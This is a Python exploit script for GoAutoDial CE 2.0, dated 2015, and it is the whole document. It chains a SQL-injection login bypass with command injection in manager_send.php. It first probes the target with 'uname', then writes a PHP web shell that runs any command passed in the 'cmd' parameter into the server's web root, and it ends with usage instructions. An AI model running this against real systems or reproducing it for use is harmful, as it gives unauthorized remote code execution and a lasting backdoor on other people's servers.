# Title : GoAutoDial CE 2.0 Shell Upload # Date : 28/02/2015 # Author : R-73eN # Software : GoAutoDial CE 2.0 # Tested : On Linux vicisrv.loc 2.6.18-238.9.1.el5.goPAE #1  GoAutoDial CE 2.0    import socket import sys banner = "\n\n"banner +="  ___        __        ____                 _    _  \n" banner +=" |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    \n"banner +="  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    \n"banner +="  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ \n"banner +=" |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|\n\n"print banner CRLF = "\r\n"def checkvuln():     command = "uname"    evil = path + '/manager_send.php?enable_sipsak_messages=1&allow_sipsak_messages=1&protocol=sip&ACTION=OriginateVDRelogin&session_name=AAAAAAAAAAAA&server_ip=%27%20OR%20%271%27%20%3D%20%271&extension=%3B' + command + '%3B&user=' + user + '&pass=' + password     s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)     s.connect((host,80))     evilREQ = 'GET ' + evil + ' HTTP/1.1' + CRLF + 'Host: ' + host + CRLF + 'User-Agent: Infogen-AL' + CRLF + CRLF + CRLF     s.send(evilREQ)     a = s.recv(1024)     if(a.find("HTTP/1.1 200 OK") != -1 and a.find("Linux") != -1):         print '[ + ] Server Is vulnerable [ + ]\n'        shellupload()     else:         print '[ - ] Server is not vulnerable [ - ]\n'    s.close()       def shellupload():     command = "echo 'Infogen-AL<br><?php echo system($_GET['cmd']);?>' > /var/www/html/infogen.php"    #command = "rm /var/www/html/123.pl;rm /var/www/html/TEST.perl"     command = command.replace(" ", "%20")     evil = path + '/manager_send.php?enable_sipsak_messages=1&allow_sipsak_messages=1&protocol=sip&ACTION=OriginateVDRelogin&session_name=AAAAAAAAAAAA&server_ip=%27%20OR%20%271%27%20%3D%20%271&extension=%3B' + command + '%3B&user=' + user + '&pass=' + password     s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)     s.connect((host,80))     evilREQ = 'GET ' + evil + ' HTTP/1.1' + CRLF + 'Host: ' + host + CRLF + 'User-Agent: Infogen-AL' + CRLF + CRLF + CRLF     s.send(evilREQ)     a = s.recv(1024)     if(a.find("HTTP/1.1 200 OK") != -1 and a.find("Invalid") == -1):         print '[ + ] Shell uploaded successfully [ + ]\n'    else:         print '[ - ] Shell upload failed.... [ - ]'    s.close()    if(len(sys.argv) < 4):     print '\n Usage : exploit.py 127.0.0.1 /goautodial-agent/ agentuser agentpassword\n'else:     host = sys.argv[1]     path = sys.argv[2]     user = sys.argv[3]     password = sys.argv[4]     checkvuln()